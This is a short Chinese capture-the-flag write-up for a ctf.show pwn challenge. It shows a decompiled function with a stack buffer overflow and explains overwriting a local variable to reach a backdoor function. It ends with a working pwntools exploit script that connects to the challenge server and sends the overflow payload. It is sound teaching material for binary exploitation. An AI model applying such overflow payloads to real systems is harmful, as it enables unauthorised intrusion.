很简单的一道题,vuln()函数如下:

int vuln()
{
  int result; // eax
  char buf[36]; // [rsp+0h] [rbp-30h] BYREF
  int v2; // [rsp+24h] [rbp-Ch]
  int v3; // [rsp+28h] [rbp-8h]
  int v4; // [rsp+2Ch] [rbp-4h]

  v4 = 1;
  v3 = 1;
  v2 = 1;
  read(0, buf, 0x30uLL);
  result = v3 + v4 + v2;
  if ( result == 666 )
    result = backdoor();
  return result;
}

思路:v2覆盖成664即可。但是需要注意两点:

1)p64是send一个 long int,如果使用p64会把v3覆盖掉(覆盖为0),io.send(p64(664)) 结果为665。

2)需要用send不能用senline,因为换行符的ascii为10。一旦使用io.sendline(p32(664)),结果为675。

from pwn import *

elf = ELF('./My_sword_is_ready.ready')

local = 0
if local == 1:
    io = process('./My_sword_is_ready.ready')
else:
    io = remote('pwn.challenge.ctf.show',28101)

io.recvuntil("with bit!\n")
payload = 'a'*(0x30-0xC)+p32(664)
io.send(payload)

io.interactive()